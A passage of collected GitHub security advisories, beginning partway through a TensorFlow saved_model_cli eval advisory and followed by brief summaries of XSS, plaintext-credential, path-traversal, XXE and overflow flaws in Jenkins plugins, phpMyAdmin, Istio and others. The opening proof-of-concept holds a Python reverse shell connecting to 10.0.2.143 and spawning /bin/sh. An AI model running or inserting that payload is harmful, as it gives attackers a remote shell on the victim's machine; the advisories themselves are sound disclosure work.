subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
```

This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution:

```python
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...

  for input_raw in filter(bool, input_exprs_str.split(';')):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict
```

This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.

However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done withough calling `eval`.

### Patches
We have patched the issue in GitHub commit [c5da7af048611aa29e9382371f0aed5018516cac](https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac).

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
phpMyAdmin cross-site scripting vulnerability in crafted view name
Advisory: GHSA-q586-xpwr-jc3j
Aliases: CVE-2014-5274
Published: 2022-05-14T02:05:29Z

A cross-site scripting (XSS) vulnerability in the view operations page in phpMyAdmin 4.1.x before 4.1.14.3 and 4.2.x before 4.2.7.1 allows remote authenticated users to inject arbitrary web script or HTML via a crafted view name, related to `js/functions.js`.
Jenkins meliora-testlab Plugin allows attackers with file system access to Jenkins master to obtain API key
Advisory: GHSA-3hw6-gc8h-9243
Aliases: CVE-2018-1999031
Published: 2022-05-14T02:57:57Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

An exposure of sensitive information vulnerability exists in Jenkins meliora-testlab Plugin 1.14 and earlier in TestlabNotifier.java that allows attackers with file system access to the Jenkins master to obtain the API key stored in this plugin's configuration. Additionally, the API key was not masked from view using a password form field. As of version 1.15, the plugin stores the API Key encrypted in the configuration files on disk and no longer transfers it to users viewing the configuration form in plain text.
Asset Pipeline plugin for Grails vulnerable to Path Traversal
Advisory: GHSA-g7wm-22m6-5774
Aliases: CVE-2018-17605
Published: 2022-05-14T01:44:59Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

An issue was discovered in the Asset Pipeline plugin before 3.0.4 for Grails. An attacker can perform directory traversal via a crafted request when a servlet-based application is executed in Jetty, because there is a classloader vulnerability that can allow a reverse file traversal route in AssetPipelineFilter.groovy or AssetPipelineFilterCore.groovy.
Jenkins Configuration as Code Plugin vulnerable to Exposure of Sensitive Information
Advisory: GHSA-393r-r9mq-g9jv
Aliases: CVE-2018-1000609
Published: 2022-05-14T03:05:26Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

A exposure of sensitive information vulnerability exists in Jenkins Configuration as Code Plugin 0.7-alpha and earlier in ConfigurationAsCode.java that allows attackers with Overall/Read access to obtain the YAML export of the Jenkins configuration. Version 0.8-alpha contains a fix for this issue.
Access token stored in plain text by Jenkins SMS Notification Plugin
Advisory: GHSA-vwfv-qpw8-83c7
Aliases: CVE-2020-2297
Published: 2022-05-24T17:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

SMS Notification Plugin 1.2 and earlier stores an access token unencrypted in its global configuration file `com.hoiio.jenkins.plugin.SMSNotification.xml` on the Jenkins controller as part of its configuration.

This access token can be viewed by users with access to the Jenkins controller file system.
Istio Authorization Bypass Vulnerability
Advisory: GHSA-6q5m-22mq-q2xv
Aliases: CVE-2021-31920
Published: 2022-05-24T19:03:32Z
Withdrawn: 2023-08-07T20:57:01Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Istio before 1.8.6 and 1.9.x before 1.9.5 has a remotely exploitable vulnerability where an HTTP request path with multiple slashes or escaped slash characters (%2F or %5C) could potentially bypass an Istio authorization policy when path based authorization rules are used.
Missing permission checks in Micro Focus Application Automation Tools Plugin
Advisory: GHSA-7qp2-rgxr-29q4
Aliases: CVE-2021-22513
Published: 2022-05-24T17:46:58Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Micro Focus Application Automation Tools Plugin 6.7 and earlier does not perform permission checks in methods implementing form validation.

This allows attackers with Overall/Read permission to connect to attacker-specified URLs using attacker-specified username and password.

Additionally, these form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

Micro Focus Application Automation Tools Plugin 6.8 requires POST requests and Overall/Administer permission for the affected form validation methods.
Reflected XSS in Jenkins Compatibility Action Storage Plugin
Advisory: GHSA-rfrq-3v89-fqg6
Aliases: CVE-2020-2217
Published: 2022-05-24T17:22:20Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Jenkins Compatibility Action Storage Plugin 1.0 and earlier does not escape the content coming from the MongoDB in the testConnection form validation endpoint, resulting in a reflected cross-site scripting (XSS) vulnerability.
python-keystoneclient vulnerable to context confusion in Keystone auth_token middleware
Advisory: GHSA-gwvq-rgqf-993f
Aliases: CVE-2014-0105
Published: 2022-05-17T00:13:54Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L

A context confusion vulnerability was identified in Keystone auth_token middleware (shipped in python-keystoneclient) before 0.7.0. By doing repeated requests, with sufficient load on the target system, an authenticated user may in certain situations assume another authenticated user's complete identity and multi-tenant authorizations, potentially resulting in a privilege escalation. Note that it is related to a bad interaction between eventlet and python-memcached that should be avoided if the calling process already monkey-patches "thread" to use eventlet. Only keystone middleware setups using auth_token with memcache are vulnerable.
Missing Authorization in Jenkins Configuration as Code Plugin
Advisory: GHSA-mqr8-3v8j-46wv
Aliases: CVE-2019-10344
Published: 2022-05-24T16:51:50Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Missing permission checks in Jenkins Configuration as Code Plugin 1.24 and earlier in various HTTP endpoints allowed users with Overall/Read access to access the generated schema and documentation for this plugin containing detailed information about installed plugins.
Password stored in plain text by Dynamic Extended Choice Parameter Plugin
Advisory: GHSA-h6pp-v4j6-w76c
Aliases: CVE-2020-2124
Published: 2022-05-24T17:08:47Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Jenkins Dynamic Extended Choice Parameter Plugin 1.0.1 and earlier stores a password unencrypted in job config.xml files on the Jenkins master where it can be viewed by users with Extended Read permission, or access to the master file system.
Improper Neutralization of Input During Web Page Generation in Apache ActiveMQ
Advisory: GHSA-w525-w93j-rxgm
Aliases: CVE-2016-0734
Published: 2022-05-14T01:14:51Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

The web-based administration console in Apache ActiveMQ 5.x before 5.13.2 does not send an X-Frame-Options HTTP header, which makes it easier for remote attackers to conduct clickjacking attacks via a crafted web page that contains a (1) FRAME or (2) IFRAME element.
Improper Authentication in Apache MyFaces
Advisory: GHSA-4fv4-cq5v-x45m
Aliases: CVE-2010-2057
Published: 2022-05-17T05:45:54Z

shared/util/StateUtils.java in Apache MyFaces 1.1.x before 1.1.8, 1.2.x before 1.2.9, and 2.0.x before 2.0.1 uses an encrypted View State without a Message Authentication Code (MAC), which makes it easier for remote attackers to perform successful modifications of the View State via a padding oracle attack.
Secret stored in plain text by Jenkins GitHub Coverage Reporter Plugin
Advisory: GHSA-5r5f-hcwf-r9jh
Aliases: CVE-2020-2212
Published: 2022-05-24T17:22:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

GitHub Coverage Reporter Plugin 1.10 and earlier stores a GitHub access token in plain text in its global configuration file `io.jenkins.plugins.gcr.PluginConfiguration.xml`. This token can be viewed by users with access to the Jenkins controller file system.
Improper Input Validation in .Net Framework API's
Advisory: GHSA-x5qj-9vmx-7g6g
Aliases: CVE-2019-0657
Published: 2022-05-14T01:28:01Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

A vulnerability exists in certain .Net Framework API's and Visual Studio in the way they parse URL's, aka '.NET Framework and Visual Studio Spoofing Vulnerability'.
ChakraCore RCE Vulnerability
Advisory: GHSA-923j-972p-hchf
Aliases: CVE-2017-11908
Published: 2022-05-17T00:11:39Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

ChakraCore and Windows 10 1709 allows an attacker to execute arbitrary code in the context of the current user, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11886, CVE-2017-11889, CVE-2017-11890, CVE-2017-11893, CVE-2017-11894, CVE-2017-11895, CVE-2017-11901, CVE-2017-11903, CVE-2017-11905, CVE-2017-11905, CVE-2017-11907, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11912, CVE-2017-11913, CVE-2017-11914, CVE-2017-11916, CVE-2017-11918, and CVE-2017-11930.
Improper Restriction of XML External Entity Reference in Apache ActiveMQ
Advisory: GHSA-x6rc-54xp-ccxx
Aliases: CVE-2015-3208
Published: 2022-05-14T02:21:03Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

XML external entity (XXE) vulnerability in the XPath selector component in Artemis ActiveMQ before commit 48d9951d879e0c8cbb59d4b64ab59d53ef88310d allows remote attackers to have unspecified impact via unknown vectors.
Buffer overflow in SmallVec::insert_many
Advisory: GHSA-43w2-9j62-hq99
Aliases: CVE-2021-25900
Published: 2022-05-24T17:40:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A bug in the SmallVec::insert_many method caused it to allocate a buffer that was smaller than needed. It then wrote past the end of the buffer, causing a buffer overflow and memory corruption on the heap. This bug was only triggered if the iterator passed to insert_many yielded more items than the lower bound returned from its size_hint method.

The flaw was corrected in smallvec 0.6.14 and 1.6.1, by ensuring that additional space is always reserved for each item inserted. The fix also simplified the implementation of insert_many to use less unsafe code, so it is easier to verify its correctness.
tkvideo has a memory issue in playing videos
Advisory: GHSA-jmhj-vh4q-hhmq
Aliases: CVE-2022-24902
Published: 2022-05-03T03:47:34Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Huge memory consumption even when playing small files. This issue has been patched in 2.0.0. Please upgrade to version 2.0.0 or above.
Cleartext Storage of Sensitive Information in Jenkins ElasticBox CI Plugin
Advisory: GHSA-r9xc-54cq-99r7
Aliases: CVE-2019-10450
Published: 2022-05-24T16:58:50Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Jenkins ElasticBox CI Plugin stores credentials unencrypted in the global config.xml configuration file on the Jenkins master where they can be viewed by users with access to the master file system.
Centreon Cross-site Scripting Vulnerability
Advisory: GHSA-8w3f-236q-53m4
Aliases: CVE-2015-7672
Published: 2022-05-14T00:55:29Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Cross-site scripting (XSS) vulnerability in Centreon 2.6.1 (fixed in Centreon 18.10.0 and Centreon web 2.8.27).
Cross-site Scripting in Apache DeltaSpike
Advisory: GHSA-4q23-g7mf-xp98
Aliases: CVE-2017-17837
Published: 2022-05-13T01:02:10Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

The Apache DeltaSpike-JSF 1.8.0 module has a XSS injection leak in the windowId handling. The default size of the windowId get's cut off after 10 characters (by default), so the impact might be limited. A fix got applied and released in Apache deltaspike-1.8.1.
ChakraCore information disclosure vulnerability
Advisory: GHSA-vvvh-5xrm-pxff
Aliases: CVE-2020-0813
Published: 2022-05-24T22:28:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

An information disclosure vulnerability exists when Chakra improperly discloses the contents of its memory, which could provide an attacker with information to further compromise the user's computer or data. To exploit the vulnerability, an attacker must know the memory address of where the object was created.The update addresses the vulnerability by changing the way certain functions handle objects in memory., aka 'Scripting Engine Information Disclosure Vulnerability'.
Uncontrolled Recursion in Akka HTTP
Advisory: GHSA-3hw2-h67c-wq66
Aliases: CVE-2021-42697
Published: 2022-05-24T19:19:40Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Akka HTTP 10.1.x and 10.2.x before 10.2.7 can encounter stack exhaustion while parsing HTTP headers, which allows a remote attacker to conduct a Denial of Service attack by sending a User-Agent header with deeply nested comments.
xapian-core Cross-site Scripting vulnerability
Advisory: GHSA-7qw4-w7hf-22q3
Aliases: CVE-2018-0499
Published: 2022-05-14T03:03:56Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A cross-site scripting vulnerability in `queryparser/termgenerator_internal.cc` in Xapian xapian-core before 1.4.6 exists due to incomplete HTML escaping by `Xapian::MSet::snippet()`.
OpenStack Keystone Credential Leakage
Advisory: GHSA-2j23-fwqm-mgwr
Aliases: CVE-2019-19687
Published: 2022-05-24T17:02:55Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

OpenStack Keystone 15.0.0 and 16.0.0 is affected by Data Leakage in the list credentials API. Any user with a role on a project is able to list any credentials with the `/v3/credentials` API when `enforce_scope` is false. Users with a role on a project are able to view any other users' credentials, which could (for example) leak sign-on information for Time-based One Time Passwords (TOTP). Deployments with enforce_scope set to false are affected. (There will be a slight performance impact for the list credentials API once this issue is fixed.)
Exposure of Sensitive Information to an Unauthorized Actor in Apache Tomcat
Advisory: GHSA-3gv7-3h64-78cm
Aliases: CVE-2017-5647
Published: 2022-05-14T01:10:16Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

A bug in the handling of the pipelined requests in Apache Tomcat 9.0.0.M1 to 9.0.0.M18, 8.5.0 to 8.5.12, 8.0.0.RC1 to 8.0.42, 7.0.0 to 7.0.76, and 6.0.0 to 6.0.52, when send file was used, results in the pipelined request being lost when send file processing of the previous request completed. This could result in responses appearing to be sent for the wrong request. For example, a user agent that sent requests A, B and C could see the correct response for request A, the response for request C for request B and no response for request C.